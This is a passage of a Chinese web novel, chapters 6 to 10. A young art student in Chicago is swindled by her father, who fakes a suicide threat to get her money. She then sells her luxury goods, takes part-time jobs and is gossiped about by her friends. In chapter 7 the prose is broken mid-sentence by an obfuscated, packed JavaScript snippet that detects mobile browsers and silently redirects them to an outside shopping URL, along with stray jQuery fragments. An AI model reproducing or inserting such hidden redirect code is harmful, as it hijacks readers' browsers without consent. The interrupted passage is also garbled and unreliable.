想到大概这辈子也不太能见到实物了,她忍不住多看了几眼。画框上贴着一张小卡片,标记着“已售出-PendingPickup”的字样。 旁边的工作人员在打包,填充泡棉的摩擦声在空旷的展厅里回荡。有人爬上梯子,小心翼翼地将作品取下,那张小标签跟着被撕掉,卷成小团掉进废料桶里。 康妮告诉她,《UrbanFlows》会由画廊专人送到买家手里。 自己的作品能被人赏识和收藏,应该高兴才对,但心情连日来被阴霾笼罩,她反而更失落。 “下一幅作品会更好”,徐继唯嘴上安慰着女友,其实心里也惋惜。这原本是属于自己的礼物,但即将被送到陌生人手里。 当初霍嘉蔚在画室里反复调色、构图、熬到深夜时,他扫过几眼,觉得不过如此。然而在展厅富有设计感的墙面,被那枚不菲的价格标签一烘托,画布上的纹理细节精准展示出来,华丽得让人挪不开视线。 这一瞬,骄傲与惶惑悄然交叠,徐继唯忽然意识到,劝女友“现实一点”的说辞是很自私。 “嘉蔚,对不起。我收回之前的话”,他握紧她的手:“无论你做什么,我都会支持你。” …… 从艺术中心离开,霍嘉蔚的手机震了两下。 是刘叔。爸爸身边开了十多年车的司机。 消息不是文字,而是一段视频。 霍嘉蔚心头咯噔一声,紧张点开。 镜头起先对着地面,晃得十分厉害,镜头外是刘叔惊恐的喊声:“小姐,快劝劝霍总,别让他做傻事。” 画面抖了几下,终于聚焦远处——写字楼的天台。昏暗的天空下,霍成明穿着一身发皱的衬衫和西裤,顶楼的狂风把他的头发吹得乱成杂草。 霍嘉蔚呼吸一滞。 刘叔的声音急得破音了:“霍总,你别想不开!留得青山在不愁没柴烧…小姐,你快给霍总回个电话,好好劝劝他!” 7. 第 7 章 “老刘,想不到,你演戏还有几分样子。” 霍成明从栏杆边退下来,拍拍裤子上的灰,脸上挂着满意的笑。 刘叔愣住:“霍总……您说什么,刚才是假的?” 他声音变了调,整个人僵在原地。 霍成明不甚在意地摆了摆手,“嘉蔚这孩子,被她妈妈教坏了,不这么吓一吓,会把钱拿出来?” 刘叔整张脸青白交错,壮着胆子道:“霍总,您这事办得……不太地道。” 霍成明打断:“把那辆宾利卖了,你拿着钱回老家做点小生意,以后好好生活。” “霍总,您什么意思?难道不把窟窿填上?欠款的事……还没解决。” 霍成明无可奈何地摇头,冷笑:“填?填得了又能怎样?” 刘叔看着霍成明的背影,叹息:造孽。 * 蔚容茵想尽办法补办了护照,却不打算出国了。 宁川距离临潮市一千公里,飞行只要两个小时,她却整整花了两天才到。为了不留痕,一路打车,绕了不少路,才在沿海靠山的一座小渔村里,见到了好友沈珺。 一个月前,蔚容茵和丈夫离了婚。签完离婚协议,就把对方的账务问题举报了出去,这几年的隐忍,在对方丑闻爆出那一刻,出了口恶气。 沈珺是她的大学同学,因年轻时遭遇了一些挫折和误解,早早结束学业,回到了家乡。她一直未婚,在村子里经营着一间珍珠饰品的手工作坊——从渔民手里收来海蚌和牡蛎,自己加工后,供货给周边旅游城市的工艺品店。 蔚容茵原本打算出国前来见好友最后一面,然而住在渔村这几天,帮好友打理作坊时,注意到这里的珍珠光泽柔和,品质上乘,很有市场潜力。 她心中不由得一动,如果能精进工艺,开拓渠道销售这些饰品,或许能产生更多利润。 这个发现让她找回了二十年前创业时才有的兴奋,内心涌动着一股跃跃欲试的冲动。 “宝贝,我要购买一批设备,你转笔钱到这个账户。” 断联多天后,忽然收到这样一条消息,霍嘉蔚很难不怀疑妈妈被盗号了。 她回拨过去,电话那头传来妈妈的声音,语调一改往日的怨愤,充满了激情和兴奋:“妈妈在沈阿姨这里,小时候她抱过你,有没有印象? “我打算重新创业了,需要启动资金,当然不会用太多。让我尝试一下,亏了不会影响咱们的生活;赚了,那就是新的开始。怎么样?” 蔚容茵讲述着创业计划,听起来思路清晰、合情合理。 霍嘉蔚没有拒绝的理由。 “可是”,话到嘴边,她咽了回去:“妈妈,我支持你。不过我怕自己乱花钱,给银行卡设了上限,今天先给你转一部分好不好?” 蔚容茵沉浸在事业蓝图的描绘中,没觉得不妥:“不着急,妈妈还在考察,打算先买点设备试试水。对了,霍家没人没找你吧,有没有听我的,把他们都删掉?” “嗯,没动静”,第一次对妈妈说谎,霍嘉蔚声音有些颤抖。 “那就行”,察觉到女儿情绪不对劲,她安慰道:“虽然我和你爸爸分开了,只要他能把事扛下来,不连累咱们,我还敬他是个男人。你不要对这事有阴影,等风头过去,该怎么和他们相处就怎么和他们相处,毕竟是你的亲人。” “妈妈,为什么爸爸会背叛我们?他以前明明是个很好的人。” 蔚容茵打断女儿,苦口婆心道:“他曾经的好是真的,后来背叛家庭也是真的。一个人行善的同时,并不影响他作恶。 “那对双胞胎才两岁。是你出国那年发生的事。也许坏就坏在,他走得太顺了,生活陷入了一种平淡和无聊,才滋生出不安分的念头。” “为什么不给他改正的机会?” “你会原谅一个背叛过你的人吗,况且他还染上了恶习”,话音刚落,蔚容茵警觉:“难道他找过你了?” “没有,我只是一时接受不了”,幸好是打电话,蔚容茵看不到霍嘉蔚慌乱的神情。 “往前看,好在妈妈给你留了保底资本,不管发生什么,你都有退路。拿着这笔钱,做点让自己开心的事情。只要不回国,你的生活丝毫不会受到影响。” 如果是一个月前,这番话或许还能起到鼓励的作用,然而此刻,看着银行卡上仅剩的十万美金,霍嘉蔚陷入了深深的自责。 她见过妈妈生气时的样子,曾经跟在妈妈身边的助理,会因喊错客户名字而被骂半个小时,越是被她器重和信任的人,越会被严格要求。 她不敢告诉妈妈真相。 原以为把钱给了爸爸,自己的生活一时不会受到影响,可她忘了,这钱不是自己一个人的。不能因为她的圣母心泛滥,就让妈妈失去重新开始的机会。 她打算问霍成明再要回一些。 然而这次拨号过去,不是无人接听,而是彻底的查无此号。 连霍成明用了五六年的微信号都显示异常。 “刘叔,爸爸和你在一起吗?” 刘叔看到消息,挣扎了半个小时,挑明真相:“霍总跑了”。 “爸爸说会把钱用到项目上,他不会骗人”。 刘叔回道:“他骗了很多人…” 霍嘉蔚从来不觉得自己蠢笨,在一众富二代朋友中,她为人大气不失精明,办事周全且谨慎有余,大家都夸她聪明靠谱,遇到麻烦喜欢找她出主意,出门购物也爱和她作伴,那些年长几岁的朋友,常半开玩笑称她是“圈子里最像大人”的一个。 她曾暗暗自得,觉得自己不同于那些只会刷卡买包的大小姐。 谁会想到,她会栽在如此拙劣可笑的骗局上。更讽刺的是,那个用谎言戏弄她的人,是她的亲生父亲。 如果说家庭破碎击灭了她内心一半的傲气,那么来自父亲的欺骗,足以摧毁另一半。 想起妈妈的良苦用心、男友的理性劝说……霍嘉蔚无地自容。 社交媒体精准推送着关于九鼎置业创始人“转移资产、卷款潜逃”的新闻,维权者的哭诉、自媒体煽动性的标题、评论区里铺天盖地的冷嘲热讽……一条条都像利刃,扎进她千疮百孔的心。 她拉上窗帘,躲进黑暗的房间里,陷入一种自虐式的反思:为什么? 人和人之间的信任,为什么不能多一点? 为什么善意换来的,是欺骗与算计? 她想不明白。 如果无视规则、没有底线,反而能活得潇洒畅快,那好人还有什么生存空间? 如果善良注定被利用、被践踏,那所谓的道德约束,又有什么意义? 她小时候学琴,弹过一首曲子,叫《TellMeWhy》。老师教过她唱词,那时她从未想过,自己有一天会用同样歇斯底里的方式,向世界发问。 当然和歌曲关注的严肃议题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477959|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相比,她的痛苦显得微不足道。 在霍嘉蔚绝望透顶的时候,文乾玥发来质疑:嘉蔚,我给这个号码发短信,也加了WhatsApp,为什么一直没回应啊?是不是给错了?能不能帮我问问? 她没有心情理会。 康妮给的联系方式,是从邮件里直接复制过去的,怎么可能会错。对方不回,无非就是不想搭理。 谁料文乾玥却不依不饶,又发来一条信息:嘉蔚,你帮我问一下(卖萌)。 霍嘉蔚终于忍不住,爆发:康妮给的就是这个,你觉得不对,去找谭老师要好了。(笑脸) 文乾玥在另一端愣住,过了好几秒才回了一个字:好。 霍嘉蔚盯着手机页面愣住,觉得自己很陌生。 接下来的几天,她把自己关在屋里,徐继唯按耐不住,来敲门:“嘉蔚,感恩节想不想出去走走?上回不是说想起坎昆浮潜,我约了林湛鸣他们,咱们一起吧。” 等了几秒,没有回应。 徐继唯又敲了几下,耐心劝道:“多亏了你炖的汤,我的腿好得差不多了。如果想滑雪,我也可以陪你去盐湖城…” 屋里传来一阵响动,霍嘉蔚缓缓拉开门。她穿了一件灰色毛衣和肥大的棉裤,脸上挂着好几天没合眼的倦容。 徐继唯一阵心疼,安慰道:“过去的事情就不要再想了,有我在,你什么都不用担心”。 “嗯,我没事”,她将门敞开。转身从橱柜里取出前阵子买的流浪包,扫了两眼,不舍地装进了防尘袋。 随后,她翻箱倒柜,将所有值钱的物品取出,找出购买小票和包装盒,一件件摆在桌上,拍照、录视频…… “这是做什么”,徐继唯不解。 “卖掉”,霍嘉蔚动作没停。 在她给一只卡包拍照时,徐继唯提醒:“这是我送你的”。 没错,因为是LV和艺术家联名的限季款,时髦又稀有,她一直舍不得用。 霍嘉蔚把卡包扔回床上,继续搜罗下一件物品。 “嘉蔚,你缺钱的话,我这里有,不要卖包好不好?”徐继唯当即就回屋,拿来几张卡和一些现金。 霍嘉蔚推回去,自嘲地笑了笑:“早知道注定要当坏人,还不如拿着钱逍遥法外,至少不用为下个月的生活费发愁”。 徐继唯坚持要把卡和钱给她:“你不是坏人,别自责了。我自己有一些存款,够咱们花的”。 “那以后呢,总不能一辈子靠你接济”,霍嘉蔚冷声回绝。不知为何,男友的安慰让她觉得烦躁。 徐继唯愣住,没想到女友会如此冷静理智。 “你要是太闲,可以帮我搭把手,否则就别添乱”,霍嘉蔚提醒。 徐继唯心事重重,和她一起把照片传到二奢网站。 “对了,这件事,你别告诉其他人”,她提醒。 “大家不都知道吗”,徐继唯纳闷。 霍嘉蔚看着他,有些无语。 “霍叔叔骗你的事?”徐继唯反应过来,保证:“我不会说的。” “这件事只有我们俩知道,不要告诉任何人,包括我妈妈”,霍嘉蔚强调。 “放心”,徐继唯郑重地点了点头,心里却不是滋味。 把物品点击挂售的那一刻,不舍涌上心头。 “以后我一定会把它们买回来的”,她对徐继唯说。 “用我自己赚的钱”。 8. 第 8 章 文乾玥给谭召绪手机号关联的微信发送了好友申请。 原以为对方不用微信,抱着试试的心态搜了一下,没想到有账号,还很快就通过了。她一阵惊喜,心中对霍嘉蔚回“微笑”的记恨,一下子烟消云散。 早在画廊问谭召绪方不方便把联系方式透露给画家时,他便有些期待,好奇那个汉服女孩找自己做什么,然而,看到对方发来的消息,他略有些失望。 文乾玥打招呼的消息干脆利落,没一句废话。她报上自己的英文名“Winnie”,礼貌又直接地问:“有空出来喝一杯吗?” 谭召绪没记错的话,霍嘉蔚和人聊天时,似乎提过自己有男友。初印象留下的好感,瞬间被冲淡。现在的女孩都这么大胆直接么,他觉得自己和她们有代沟,招架不住。 他回:抱歉,最近在外出差。 什么时候回芝加哥呢? 对方不识趣地继续问。 好感降到负分。他回了个不确定,没再理会。 * 霍嘉蔚东拼西凑了一百万人民币,打给妈妈后,长舒一口气。 然而,看着卡里仅剩的几千美金,开始犯愁了。 “Yolanda,我这边资金紧张,上次看房交的定金,有没有可能,退给我一部分?” 伴随着一句“god”,Yolanda尖叫着发问:“Areyoukiddingme?” “不,我是希尔瑞思”,她用中文回答,想到这个老套的笑话,兀自笑了起来。越到了这种时刻,越有一种破罐破摔的沉着。 看样子钱是要不回来了,实在不行就去兼职炸薯条,她想。 那头的Yolanda气得不行,改用普通话问:“你没事吧?” 霍嘉蔚一愣,对她地道的中文发音感到惊讶,坦白道:“抱歉,我家里出事了。退不了也没关系,我理解”。 对话陷入一阵沉默。 Yolanda的语气缓和了些,解释:“定金不是我收的,我也做不了主。不过,如果你真的需要钱,我可以给你介绍一份兼职。” 霍嘉蔚一度天真地以为靠自己可以渡过难关,但一切比想象中艰难。她学的专业,在赚钱上毫无用武之地。 前几天,她信誓旦旦对徐继唯说“我可以赚钱,我一幅画就卖出了五万美金”,可当她带着两幅新作去找康妮,想寄放在画廊展示和销售时,出乎意料的,被拒绝了。 理由是,她还不具备名气。 首作卖出那天,她以为是人生高光时刻的开端,却不想,那已是巅峰。 最近陆续投了几份实习和兼职工作,无一例外的,没有回应。意识到自己没有挑挑拣拣的资本,她接受了Yolanda的好意。 样板间助理的时薪是炸薯条的两倍。 工作内容对霍嘉蔚来说很简单:布置房间,让房源更有卖相;拍摄现场图片,制作线上导览视频;偶尔,也要协助经纪人主持OpenHouse,接待潜在买家…… 生活变得比以往忙碌和踏实。她有理由推掉朋友们的邀约,那些高消费的旅行和喧闹的派对,她a不起,也没心情参加。 徐继唯却有些不满了。 “你不去的话,我怎么办”,他语气里带着埋怨。 “你可以去啊”,霍嘉蔚回得理直气壮。 她满脑子想的都是怎么赚更多钱:一周兼职十个小时,只能拿到三百刀。而吃饭、保险、油费……把能省的都省掉,每个月至少得花1000刀。 这还没算上房租水电。住在徐继唯家不是长久之计,她迟早要搬走,所以还得攒房租。 翻看账单,内心的无力感一阵阵往上冒。 “咱们有多久没一起出去玩了,你就当陪陪我不行吗”,徐继唯有些生气,女友最近的变化让他十分不适应。 “我真没心情”,霍嘉蔚看他一眼,无奈道:“而且也没钱”。 “不用你花钱,我不是说了吗,咱们不分彼此,有我的就有你的。” 霍嘉蔚怔了几秒,想说什么又忍住。 她最近话变得很少,经常心事重重。以前大家调侃她是“小大人”,现在只有她自己知道,没人遮风挡雨的日子,真的要被迫长成“大人”了。 “除了家人,我们是世界上最亲近的人,你不要和我计较这么多。” 这话让她感动,但又被冰冷的现实浇醒。连亲生父母都有为钱闹翻的那一天,何况恋爱中的情侣。 “我真的不想去旅行”,说这话时,霍嘉蔚不敢看他。寄人篱下、打着零工的日子已经够憋屈了,她放弃了一部分骄傲,不想再接受更多的施舍。 徐继唯赌气道:“那我也不去”。 “你可以去,为什么不去”,霍嘉蔚不是那种自己没钱,就要求男友一起降低生活质量的人。 “你不去,没什么意思”。 这话让她压力很大。 “你再等等,要不我们圣诞假期去”,她心里盘算着也许把车卖了,能省下保险和油费,再加上兼职的收入,到时手头会宽裕许多。 徐继唯没有说好,也没有说不好。从女友浅浅皱起的眉头里,他看到了一丝纠结和退让,最终改了主意。 “我还是去吧,你忙你自己的事就行。” “好”,霍嘉蔚心里轻松了许多。 几天后,徐继唯在加勒比海探索水下世界时,霍嘉蔚和一位新朋友聊得火热。 据黄家松自己说,他来自HK,是九龙城长大的本地居民。可在霍嘉蔚的印象里,港人大多自带粤语优越感,日常开口绝对要先甩一句Cantonese,再慢慢转成中英夹杂的Mandarin。 黄家松国语讲得很溜,偶尔蹦出唔该、系咩之类的词,听起来生硬别扭。不过这不重要,对霍嘉蔚来说,只要能带自己赚钱,就算是外星人,她也得想办法套上近乎。 和黄家松的结识很凑巧,那天她去美容院退卡,看见一位用丝巾包住头和脸、带着黑色大墨镜的美女,旁边站了位拎着购物袋、体型偏瘦、五官极为普通的男人。 当时她就好奇,这位美女穿着不俗、身形出挑,出门还有拎包的保镖,怕不是哪个明星网红。 结果下一秒,美女摘下墨镜,热切喊出她的名字:“嘉蔚,你来做什么项目?” 霍嘉蔚被这份热情吓得一愣,没想好说辞,只好如实告知:“我来退卡…” 接着,她磕磕巴巴地解释:“住得离这边有点远,跑来跑去怪麻烦的,打算以后在家附近做。” 幸好,籍又夏没露出丝毫异样的表情,轻描淡写道:“我记得她们家退卡只能退50%,卡里还有多少钱,要不我原价收了?” 霍嘉蔚眉头舒展,刚对籍又夏升起好感,却听见她对旁边的男人说:“阿松,买单。” 那语气,理所当然得好像对方是她的……脑子里闪过一个不太好的词,联想起文乾玥说过的传闻,霍嘉蔚感到吃惊。 黄家松很自然地掏出现金,没错,是现金。这年头,竟然还有人出门带着大笔现金。 其貌不扬、又用现金的男人……虽然在背后揣测别人不好,霍嘉蔚还是忍不住朝最八卦狗血的方向脑补。 这两人,恐怕不是什么正经的情侣关系。 要不是体会过缺钱的滋味,她可能会对找金主的行为不齿。可现在,她觉得存在即合理,人家一个愿打一个愿挨,只要没伤天害理、介入别人家庭,就没什么不对。 能捞也是一种本事。 像自己这样,又缺钱,又放不下面子,才是最痛苦的。 隔天,她收到一则陌生人的好友申请。 对方开门见山:“哈喽,我是又夏的朋友黄家松,那天咱们在美容院见过。听说你要卖车,我这边正好有兴趣,方便聊聊吗?” 霍嘉蔚倒吸一口气,她确实发了卖车广告来着,没想到被籍又夏看到了。 事到如今,也没什么好遮遮掩掩的,她同意了申请。 黄家松给的报价和车行持平,离霍嘉蔚的心理价位还有点距离。她总觉得一辆高配沃尔沃S90,才开了三年,就得折三分之二出手,实在太亏了。 犹豫之际,霍嘉蔚鬼使神差地点进他的朋友圈,想评估一下这人的经济实力——能追上籍又夏这样的大美女,恐怕不是普通人。搁以前,她对这种“先敬罗衣后敬人”的肤浅行为很不齿,可现在,她清高不起来了。 经纪人Yolanda有句话说得很对,社交圈层决定了你自身的层次。想赚钱,就得往有钱人的圈子里钻。虽然自己身边的有钱人已经够多了,可大多只会花钱,不会赚钱。 黄家松的朋友圈完全出乎她的意料,没有奢侈品和旅行照,有的只是文字高度重复、图片朴实无华的广告信息。 兼职招聘、驾照陪考发得最多,再往下,机场接送、转租房源、二手交易、抢票代购,甚至换汇……这不就是留学生群里最活跃的、“一个人撑一条龙服务”的万事通么。 难道他是靠这些零零散散的小生意撑起“金主”人设的?经济实力 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说起这个,黄家松打开了话匣子:“你知道风城留学圈这个公众号吗?” “在芝加哥的留学生应该没人不关注”,霍嘉蔚点头,补充:“我还加了他们粉丝群”。 “你在几群?” “1群”,她忽然想起平台组织者好像是州立大学的学生,叫William.H来着…… 确认黄家松就是威廉黄的那一刻,霍嘉蔚一惊,随后反应迅速地吹捧:“当初我来留学的时候,好多信息都是从这里获取的。上面发的兼职都真实可靠吗?” “当然”,黄家松不兜圈子,打量她一眼,说:“如果想赚外快的话,最直接的就是拿时间和劳动换钱,不过咱们学生签证,每周有兼职时长的限制,所以”,他卖了个关子。 “怎么办?”霍嘉蔚听得很认真。 “接私活”。 霍嘉蔚撇嘴,原来是钻空子,还以为有什么高明的做法。 捕捉到她脸上闪过一丝质疑,黄家松解释:“别看不上这种小活,同样是一个小时,我去机场接趟人,轻轻松松一百刀到手,你在餐厅端盘子,撑死只能拿20刀的小费。” 他再次打量霍嘉蔚一眼,皮肤细嫩、头发护理得光滑柔顺,连随便穿的外套都露着某大牌的标……这气质,确实和打零工不沾边。 他想了想,道:“你可以做点有技术含量的兼职。家教、带小孩、美甲、美睫……随便一个都比开车强。对了,你不是学艺术的,试试做美甲。” 这叫有技术含量?不都是最低端、最没有门槛的服务业吗…来找黄家松之前,霍嘉蔚做了虚心请教的心理准备,可听到具体的工作内容,那股本能地排斥反应还是涌了上来。 早知道要靠这些低门槛的工作糊口,那还上什么学? 并不是瞧不起这些活,只是她还残存一丝幻想,哪怕离豪车香槟的优渥生活越来越远,光鲜狭窄的艺术之路更是彻底走不通,那也得干点有前景、或是能发挥专业优势的工作,何至于仓皇迈入另一个极端。 黄家松看她半天不说话,慢悠悠开口:“你是不是觉得这些工作掉价?” 霍嘉蔚一怔,被说中心事,不好意思点头,也不开口反驳。 黄家松笑了,笑容里有种看透一切的世故:“你们这些从小到大都被捧着、前二十年过得一帆风顺的孩子,最在意的就是面子。 “明明已经快撑不住了,还要维持着那个阳光体面、一切都很好的幸福人设。不敢说难过,不敢承认崩溃,也不想让人知道自己的窘迫。朋友们一个关怀的眼神、一句轻飘飘的‘你还好吗’,就能击溃心里防线。” 他说得云淡风轻,却句句在戳中她的心窝。 “你怎么知道?”她犟道,明明自己已经足够坚强、装得足够云淡风轻了,他凭什么下这样的结论。 霍嘉蔚很憋屈,后悔交浅言深。 黄家松没有回答,见她快哭鼻子了,赶紧打住,换了个冷静的口吻:“靠自己赚钱不丢人,你现在犹豫是因为还有退路。甭管它白领蓝领,只要能赚到钱,能实实在在的解决问题,又有什么区别呢?做人还是要务实一点。” 这话说得没毛病,可太直白刺耳了,她脆弱的自尊心有些承受不住。 趁黄家松检查车子和试驾的功夫,霍嘉蔚勉强调整好了心态,分别前,向他道谢:“感谢你的信息分享,很受用”。 黄家松点头,热心补了句:“可以关注我朋友圈的兼职信息,感兴趣的直接联系我”。 9. 第 9 章 黄家松是个很爽快的买家,更是个精明的商人。 当霍嘉蔚从到账的三万美金里重获安全感时,他已经把那辆沃尔沃晒到了二手交易群,标价比入手时高了五千刀。 或许是意识到无论自己多焦虑,面对很多事情还是无能为力,她开始学会平静地接纳一切。加价出就加价出吧,她只当没看到。 心绪像被什么摩擦过,变得平滑又稳定。对事物的评判标准也从世俗层面上的是非善恶,变成了是否对自己有利。 她给籍又夏发微信表达感谢,顺嘴问了句她和黄家松的关系,以把握后续相处的分寸。 籍又夏给了个很微妙的称呼:“准男友”。 , 霍嘉蔚想到某些负面传言,又想起在美容院偶遇他们时,黄家松殷勤买单的模样,再结合传闻,忽然就明白了是怎么回事。 可她觉得籍又夏底色并不坏。 退一步讲,就算她人品真有问题,可毕竟帮了自己。对自己好的就是好人,谁还没有身不由己的时候。 徐继唯从坎昆回来这天,恰逢芝加哥迎来今年的第一次寒潮。 气温骤降至零下15℃,从机场出来,冷风像刀子一样刮在脸上,冻得众人只打寒颤,林湛鸣的女友张霁安提议去唐人街吃火锅。 徐继唯想把霍嘉蔚也叫上,电话打过去,被她以天气太冷不愿出门为由给拒了。 事实上,她从黄家松那接了一个教中文的兼职,就在离唐人街不远的华人社区。 据说客户是个中西结合的家庭,日常交流以英语为主,需要找个老师纠正小孩的普通话发音,顺带学一些汉语知识。 霍嘉蔚敲门,女主人赵培开门。 “你就是阿松介绍的?进来进来,外面好冷的。” 一口港台腔浓重的普通话,听着很亲切。不同于陌生人初次见面时的谨慎和冷漠,赵培热情招呼霍嘉蔚进屋,给她端来一杯热茶。 屋内温度很高,小女孩听见响动,光着脚抱着一只毛绒玩具跑了出来。 “小珠有点怕生,不过很乖哦”。 “你好呀”,霍嘉蔚主动蹲下和她打招呼,声音不自觉柔了几分。她对小孩无感,可眼前这个眨着大眼睛、鼓着圆嘟嘟粉脸的混血宝宝故作认真地打量着自己时,整颗心都快她被萌化了。 “听阿松说你是学艺术的?” 霍嘉蔚起身,道:“对,壁画系的”。 “太好了”,赵培的眼睛亮了一下,语气里透出几分安心,“我就喜欢你们这种文艺的女孩子,温柔又有耐心。小珠也很喜欢画画,相信你能把她教好。” 她说话时眼含笑意,抚慰了霍嘉蔚紧张的心情。 第一次上课,霍嘉蔚教了小珠一些简单的日常用语。 小珠眨着眼睛,跟学着。发音很含糊,像是故意偷懒不愿意把舌头捋直,可声音实在太甜了,霍嘉蔚忍不住笑了,很有耐心地纠正发音。 如赵培所说,小珠很乖,注意力出奇地集中,每当她成功说对一个音节时,霍嘉蔚都会奖励她一张卡通贴纸。 为了获得更多小贴纸,小珠学得十分用心。 短短两个小时,不仅小珠学会了用中文介绍自己、唱普通话版的《小星星》,连霍嘉蔚也收获了极大的情绪满足。 临走前,赵培主动开口:“如果你时间方便的话,我们想把课固定下来,周二、四下午七点到九点可以吗?小珠特别喜欢你,我也觉得你的教学方式很适合她。” 说着,她从抽屉里拿出一个小信封:“今天的课时费,听阿松说,你这边想要现金结算,我OK的。你看看有没有问题。” 赵培的认可,让霍嘉蔚受宠若惊。 她原本还担心自己教不好,这几天备课、看网络教学视频熬到半夜,精神状态一直紧绷着,直到敲门前手心还冒着汗。 这下悬着的心总算放了下来。 回去的路上,她双手插在口袋里,摸着那一百美金的纸币。心情欢快地想,做家教也没有那么难,也幸好碰到了小珠这么乖巧的小孩。越努力,越幸运,大概就是这么回事。 连日来的不顺,总算有了点正向回馈。 内心满满的成就感,让她一时忘记了寒冷,也忘记了这是晚上九点的市区。经过一个三岔路口,她停下来等红灯,这才发现有个高大的黑影笼罩在身后。 脑海里闪过各种市区夜间治安差的传闻,她心里一惊,警惕地环顾四周,期待能遇到更多路人,可或许是天气格外冷的缘故,街道空空荡荡,连平时缩在街角的流浪汉都不见踪影。 大意了,从前习惯开车,顶多担心被砸车窗,从没想过危险会实实在在落在自己身上。 寒风刺骨,街灯忽明忽暗,她脚步一乱,闯了红灯,掏出手机想给徐继唯打电话。 屏幕亮起的刹那,肩膀猛地被人拍了一下,她浑身一僵,心跳立时从嗓子眼冲了上来:“啊!” 是个穿着连帽衫的小伙子,被她的尖叫声吓了一跳,却并没有离开,伸出冻得通红的手,语气理直气壮:“女士,我很饿,可以给我一些钱买食物吗?” 是个乞讨者。 看他连件像样的羽绒服都没有,霍嘉蔚同情心泛滥。她没多想,就把口袋里那张皱巴巴的一百美金给了他。 很久之后,在社会上混久了,习得不少streetsmart,霍嘉蔚才知道遇到这类乞丐,一句干脆的“Nocash”即可应付。当然,持枪抢劫那种另当别论。 和徐继唯同行去坎昆的有五六人,只有林湛鸣带了女友——他们交往不久,这是张霁安第一次参与小圈子的活动。 徐继唯本想早点回家陪女友,可被林湛鸣强留了一番,他不好拂哥们的面子,硬着头皮来了。 热气腾腾的店里人声吵闹,他坐在角落,心不在焉地听着朋友们插科打诨。 期间,文乾玥带着几个女性朋友来了,林湛鸣为她们预留了座位。 落座,聊起坎昆之行,张霁安兴奋拿出手机,给她们看美食和潜水的照片。 “和这群男生去肯定没劲,果冻海居然被拍成了人工湖,还有你这大长腿,一点也不上镜啊”,文乾玥直言不讳,丝毫没顾及张霁安的心情。 旁边的女生捅了她一下,文乾玥连忙找补:“下回喊上嘉蔚,咱们女孩儿去,出片效果肯定更绝”。 “嘉蔚是谁?” “继唯的女朋友,本来要和咱们一起,但她这两天身体不舒服。下回介绍你们认识”,林湛鸣单独向女友解释。 “生病?”易闵闵嗤了一声,饶有兴致地调侃:“我看她不是挺好的,忙着卖房呢”。 气氛略有些尴尬。 徐继唯眉心一跳,刚要让他闭嘴,文乾玥抢先叹了口气:“哎,她家里出这种事,也是够惨的。” 她声音不高,却像投入湖面的一颗石子,把潜伏的尴尬捅了出来。 说笑声顿时停住了,有不知情者凑近,八卦道:“啊,什么事?” 文乾玥觉得这不是什么秘密,直言道:“她爸在澳门输了不少钱,然后外面那什么又来闹,听说养了一对双胞胎。这些事一曝光,银行也不放贷,生意整个就…垮掉了。” “妈耶,犯法了吗?”有人瞪大眼,男生们八卦起来,一探究竟的姿态只会比异性有过之而无不及。 “这就不清楚了,据说他爸得罪了很多人”,文乾玥压低声音,看见大家全都竖着耳朵,继续补充:“她现在都不敢回国,怕被债主盯上…” 这些事霍嘉蔚只和文乾玥提过一次,连徐继唯也不知道。他忽然想通了霍嘉蔚为什 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唯有易闵闵脸上挂着笑,试图缓解气氛:“走一步看一步呗,我说你们别太势利了”。 徐继唯比谁都清楚霍嘉蔚现在的处境,也更清楚她不想依靠别人。他冷着脸,回想刚才那些话,只觉得胸口堵得慌。忽然,偏头扫了易闵闵一眼,道:“出去抽个烟?” “你不是不抽吗”,易闵闵还是起身了。 “走,废什么话。” 寒风吹过街角,身上的热气瞬间被吹散,易闵闵拿着一只黑金色的上头电子烟,往徐继唯面前晃了晃,炫耀道:“要不要试试?” 徐继唯皱眉,果断拒绝:“你少抽点”。 “又不犯法”,他边说边抽了一口,呼出的烟雾带着股甜得发腻的刺鼻味,黏在空气里久久散不去。 徐继唯被呛得太阳穴一跳,本来压着的火气彻底逼了出来。他侧过脸,语气不耐:“霍嘉蔚怎么着你了?” 说起这个,易闵闵内心不平。上次去找徐继唯商量合伙开电竞酒店,他想也不想就把自己拒了,一点回旋的余地都不留,还当着霍嘉蔚的面凶自己,合着兄弟情分,不如一个女人。 易闵闵瞥了他一眼:“我又没恶意,就是随便讲讲。谁让她老刷存在感”。 徐继唯沉着脸:“以后别开这种玩笑”。 易闵闵不置可否,问:“你真打算和她结婚?” 见徐继唯不说话,补充道:“她家都那样了,还要什么名分。” 徐继唯脸色铁青,反驳:“我结不结和你有关系?” “行,不说这事了”。 易闵闵继续抽烟,却见徐继唯不说话,面色越来越凌厉。 “怎么,还不依不饶了?” “你给她道歉。” “开什么玩笑?” “我说道歉”。 易闵闵嘴角一抽,心有不甘:“我才不干呢”。 话音一落,他想到什么,转念道:“也行,不过我开电竞酒店的事,你入不入伙?” 徐继唯这次没反驳:“我可以帮你在圈内做宣传,请几个大神搞个开业活动赛。” 易闵闵觉得这提议不错:“你也得参赛。” 聊到游戏,徐继唯语气轻松起来:“好说,奖品别太low。” 火锅店内,文乾玥依旧是话题的中心,她兴奋地说起自己下个月过生日,打算包场Rooftop酒吧,让所有人务必来。余光瞥见徐继唯和易闵闵前后脚回到座位,两人面色都还算轻松。 她大咧咧道:“徐继唯,你和嘉蔚说一声,一起来啊”。 徐继唯应了。 10. 第 10 章 徐继唯从坎昆带回来的礼物被搁在客厅桌子上。 是一支刻有玛雅图腾的木质画笔,在古董货行淘的。知道霍嘉蔚爱收集各种画具,他专门花了心思挑的。 然而,东西一直没被注意到。 这天一早,胡阿姨拿起木盒,问这是你们谁的,要不要收起来。 徐继唯不语,低头吃早餐。霍嘉蔚抬眼,后知后觉看向玻璃罩下的木质画笔,眼睛亮了亮。 “应该是我的”,她欣喜打开盒子,取出画笔把玩。 